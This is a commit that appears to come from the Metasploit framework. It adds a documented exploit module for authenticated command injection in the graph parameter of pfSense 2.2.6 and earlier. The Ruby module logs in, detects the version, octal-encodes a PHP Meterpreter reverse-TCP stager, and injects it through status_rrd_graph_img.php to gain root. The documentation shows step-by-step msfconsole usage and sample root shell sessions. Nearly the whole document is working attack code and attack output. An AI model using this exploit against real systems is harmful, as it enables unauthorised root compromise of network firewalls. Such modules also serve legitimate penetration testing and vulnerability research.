land #9362 exploit for pfsense graph injection
commit
65f444ddcc
|
@ -0,0 +1,70 @@
|
|||
## Description
|
||||
|
||||
This module exploits a vulnerability in pfSense version 2.2.6 and before which allows an authenticated user to execute arbitrary operating system commands as root.
|
||||
|
||||
## Vulnerable Application
|
||||
|
||||
This module has been tested successfully on version 2.2.6-RELEASE, 2.2.5-RELEASE, and 2.1.3-RELEASE
|
||||
|
||||
Installers:
|
||||
|
||||
* [pfSense 2.2.6-RELEASE](https://nyifiles.pfsense.org/mirror/downloads/old/pfSense-LiveCD-2.2.6-RELEASE-amd64.iso.gz)
|
||||
* [pfSense 2.2.5-RELEASE](https://nyifiles.pfsense.org/mirror/downloads/old/pfSense-LiveCD-2.2.5-RELEASE-amd64.iso.gz)
|
||||
* [pfSense 2.1.3-RELEASE](https://nyifiles.pfsense.org/mirror/downloads/old/pfSense-LiveCD-2.1.3-RELEASE-amd64.iso.gz)
|
||||
|
||||
## Verification Steps
|
||||
|
||||
1. Start `msfconsole`
|
||||
2. Do: `use exploit/unix/http/pfsense_graph_injection_exec`
|
||||
3. Do: `set RHOST [IP]`
|
||||
4. Do: `set USERNAME [username]`
|
||||
5. Do: `set PASSWORD [password]`
|
||||
6. Do: `set LHOST [IP]`
|
||||
7. Do: `exploit`
|
||||
|
||||
## Scenarios
|
||||
|
||||
### pfSense Community Edition 2.2.6-RELEASE
|
||||
|
||||
```
|
||||
msf exploit(unix/http/pfsense_graph_injection_exec) > use exploit/unix/http/pfsense_graph_injection_execmsf exploit(unix/http/pfsense_graph_injection_exec) > set RHOST 2.2.2.2
|
||||
RHOST => 2.2.2.2
|
||||
msf exploit(unix/http/pfsense_graph_injection_exec) > set LHOST 1.1.1.1
|
||||
LHOST => 1.1.1.1
|
||||
msf exploit(unix/http/pfsense_graph_injection_exec) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
[*] Detected pfSense 2.2.6-RELEASE, uploading intial payload
|
||||
[*] Payload uploaded successfully, executing
|
||||
[*] Sending stage (37543 bytes) to 2.2.2.2
|
||||
[*] Meterpreter session 1 opened (1.1.1.1:4444 -> 2.2.2.2:42116) at 2018-01-01 17:17:36 -0600
|
||||
|
||||
meterpreter > sysinfo
|
||||
Computer : pfSense.localdomain
|
||||
OS : FreeBSD pfSense.localdomain 10.1-RELEASE-p25 FreeBSD 10.1-RELEASE-p25 #0 c39b63e(releng/10.1)-dirty: Mon Dec 21 15:20:13 CST 2015 root@pfs22-amd64-builder:/usr/obj.RELENG_2_2.amd64/usr/pfSensesrc/src.RELENG_2_2/sys/pfSense_SMP.10 amd64
|
||||
Meterpreter : php/freebsd
|
||||
meterpreter > getuid
|
||||
Server username: root (0)
|
||||
meterpreter >
|
||||
```
|
||||
|
||||
### pfSense Community Edition 2.1.3-RELEASE
|
||||
|
||||
```
|
||||
msf > use exploit/unix/http/pfsense_graph_injection_exec
|
||||
msf exploit(unix/http/pfsense_graph_injection_exec) > set RHOST 2.2.2.2
|
||||
RHOST => 2.2.2.2
|
||||
msf exploit(unix/http/pfsense_graph_injection_exec) > set LHOST 1.1.1.1
|
||||
LHOST => 1.1.1.1
|
||||
msf exploit(unix/http/pfsense_graph_injection_exec) > set PAYLOAD php/reverse_php
|
||||
PAYLOAD => php/reverse_php
|
||||
msf exploit(unix/http/pfsense_graph_injection_exec) > exploit
|
||||
|
||||
[*] Started reverse TCP handler on 1.1.1.1:4444
|
||||
[*] Detected pfSense 2.1.3-RELEASE, uploading intial payload
|
||||
[*] Payload uploaded successfully, executing
|
||||
[*] Command shell session 1 opened (1.1.1.1:4444 -> 2.2.2.2:3454) at 2018-01-01 15:49:38 -0600
|
||||
uname -a
|
||||
|
||||
FreeBSD pfSense.localdomain 8.3-RELEASE-p16 FreeBSD 8.3-RELEASE-p16 #0: Thu May 1 16:19:14 EDT 2014 root@pf2_1_1_amd64.pfsense.org:/usr/obj.amd64/usr/pfSensesrc/src/sys/pfSense_SMP.8 amd64
|
||||
```
|
|
@ -0,0 +1,173 @@
|
|||
##
|
||||
# This module requires Metasploit: https://metasploit.com/download
|
||||
# Current source: https://github.com/rapid7/metasploit-framework
|
||||
##
|
||||
|
||||
class MetasploitModule < Msf::Exploit::Remote
|
||||
Rank = ExcellentRanking
|
||||
|
||||
include Msf::Exploit::Remote::HttpClient
|
||||
include Msf::Exploit::FileDropper
|
||||
|
||||
def initialize(info = {})
|
||||
super(
|
||||
update_info(
|
||||
info,
|
||||
'Name' => 'pfSense authenticated graph status RCE',
|
||||
'Description' => %q(
|
||||
pfSense, a free BSD based open source firewall distribution,
|
||||
version <= 2.2.6 contains a remote command execution
|
||||
vulnerability post authentication in the _rrd_graph_img.php page.
|
||||
The vulnerability occurs via the graph GET parameter. A non-administrative
|
||||
authenticated attacker can inject arbitrary operating system commands
|
||||
and execute them as the root user. Verified against 2.2.6, 2.2.5, and 2.1.3.
|
||||
),
|
||||
'Author' =>
|
||||
[
|
||||
'Security-Assessment.com', # discovery
|
||||
'Milton Valencia', # metasploit module <wetw0rk>
|
||||
'Jared Stephens', # python script <mvrk>
|
||||
],
|
||||
'References' =>
|
||||
[
|
||||
[ 'EDB', '39709' ],
|
||||
[ 'URL', 'http://www.security-assessment.com/files/documents/advisory/pfsenseAdvisory.pdf']
|
||||
],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'php',
|
||||
'Privileged' => 'true',
|
||||
'DefaultOptions' =>
|
||||
{
|
||||
'SSL' => true,
|
||||
'PAYLOAD' => 'php/meterpreter/reverse_tcp',
|
||||
'Encoder' => 'php/base64'
|
||||
},
|
||||
'Arch' => [ ARCH_PHP ],
|
||||
'Payload' =>
|
||||
{
|
||||
'Space' => 6000,
|
||||
'Compat' =>
|
||||
{
|
||||
'ConnectionType' => '-bind',
|
||||
}
|
||||
},
|
||||
'Targets' => [[ 'Automatic Target', {} ]],
|
||||
'DefaultTarget' => 0,
|
||||
'DisclosureDate' => 'Apr 18, 2016',
|
||||
)
|
||||
)
|
||||
|
||||
register_options(
|
||||
[
|
||||
OptString.new('USERNAME', [ true, 'User to login with', 'admin']),
|
||||
OptString.new('PASSWORD', [ true, 'Password to login with', 'pfsense']),
|
||||
Opt::RPORT(443)
|
||||
], self.class
|
||||
)
|
||||
end
|
||||
|
||||
def login
|
||||
res = send_request_cgi(
|
||||
'uri' => '/index.php',
|
||||
'method' => 'GET'
|
||||
)
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Invalid credentials (response code: #{res.code})") if res.code != 200
|
||||
|
||||
/var csrfMagicToken = "(?<csrf>sid:[a-z0-9,;:]+)";/ =~ res.body
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Could not determine CSRF token") if csrf.nil?
|
||||
vprint_status("CSRF Token for login: #{csrf}")
|
||||
|
||||
res = send_request_cgi(
|
||||
'uri' => '/index.php',
|
||||
'method' => 'POST',
|
||||
'vars_post' => {
|
||||
'__csrf_magic' => csrf,
|
||||
'usernamefld' => datastore['USERNAME'],
|
||||
'passwordfld' => datastore['PASSWORD'],
|
||||
'login' => ''
|
||||
}
|
||||
)
|
||||
unless res
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")
|
||||
end
|
||||
if res.code == 302
|
||||
vprint_status("Authentication successful: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
|
||||
return res.get_cookies
|
||||
else
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Authentication Failed: #{datastore['USERNAME']}:#{datastore['PASSWORD']}")
|
||||
return nil
|
||||
end
|
||||
end
|
||||
|
||||
def detect_version(cookie)
|
||||
res = send_request_cgi(
|
||||
'uri' => '/index.php',
|
||||
'method' => 'GET',
|
||||
'cookie' => cookie
|
||||
)
|
||||
unless res
|
||||
fail_with(Failure::UnexpectedReply, "#{peer} - Did not respond to authentication request")
|
||||
end
|
||||
/Version.+<strong>(?<version>[0-9\.\-RELEASE]+)[\n]?<\/strong>/m =~ res.body
|
||||
if version
|
||||
print_status("Detected pfSense #{version}, uploading intial payload")
|
||||
return Gem::Version.new(version)
|
||||
end
|
||||
# If the device isn't fully setup, you get stuck at redirects to wizard.php
|
||||
# however, this does NOT stop exploitation strangely
|
||||
print_error('pfSense version not detected or wizard still enabled.')
|
||||
Gem::Version.new('0.0')
|
||||
end
|
||||
|
||||
def exploit
|
||||
begin
|
||||
cookie = login
|
||||
version = detect_version(cookie)
|
||||
filename = rand_text_alpha(rand(1..10))
|
||||
|
||||
# generate the PHP meterpreter payload
|
||||
stager = 'echo \'<?php '
|
||||
stager << payload.encode
|
||||
stager << "?>\' > #{filename}"
|
||||
# here we begin the encoding process to
|
||||
# convert the payload to octal! Ugly code
|
||||
# don't look
|
||||
complete_stage = ""
|
||||
for i in 0..(stager.length()-1)
|
||||
if version.to_s =~ /2.2/
|
||||
complete_stage << '\\'
|
||||
end
|
||||
complete_stage << "\\#{stager[i].ord.to_s(8)}"
|
||||
end
|
||||
|
||||
res = send_request_cgi(
|
||||
'uri' => '/status_rrd_graph_img.php',
|
||||
'method' => 'GET',
|
||||
'cookie' => cookie,
|
||||
'vars_get' => {
|
||||
'database' => '-throughput.rrd',
|
||||
'graph' => "file|printf '#{complete_stage}'|sh|echo",
|
||||
}
|
||||
)
|
||||
|
||||
if res && res.code == 200
|
||||
print_status('Payload uploaded successfully, executing')
|
||||
register_file_for_cleanup(filename)
|
||||
else
|
||||
print_error('Failed to upload payload...')
|
||||
end
|
||||
|
||||
res = send_request_cgi({
|
||||
'uri' => '/status_rrd_graph_img.php',
|
||||
'method' => 'GET',
|
||||
'cookie' => cookie,
|
||||
'vars_get' => {
|
||||
'database' => '-throughput.rrd',
|
||||
'graph' => "file|php #{filename}|echo "
|
||||
}
|
||||
})
|
||||
disconnect
|
||||
end
|
||||
end
|
||||
end
|
Loading…
Reference in New Issue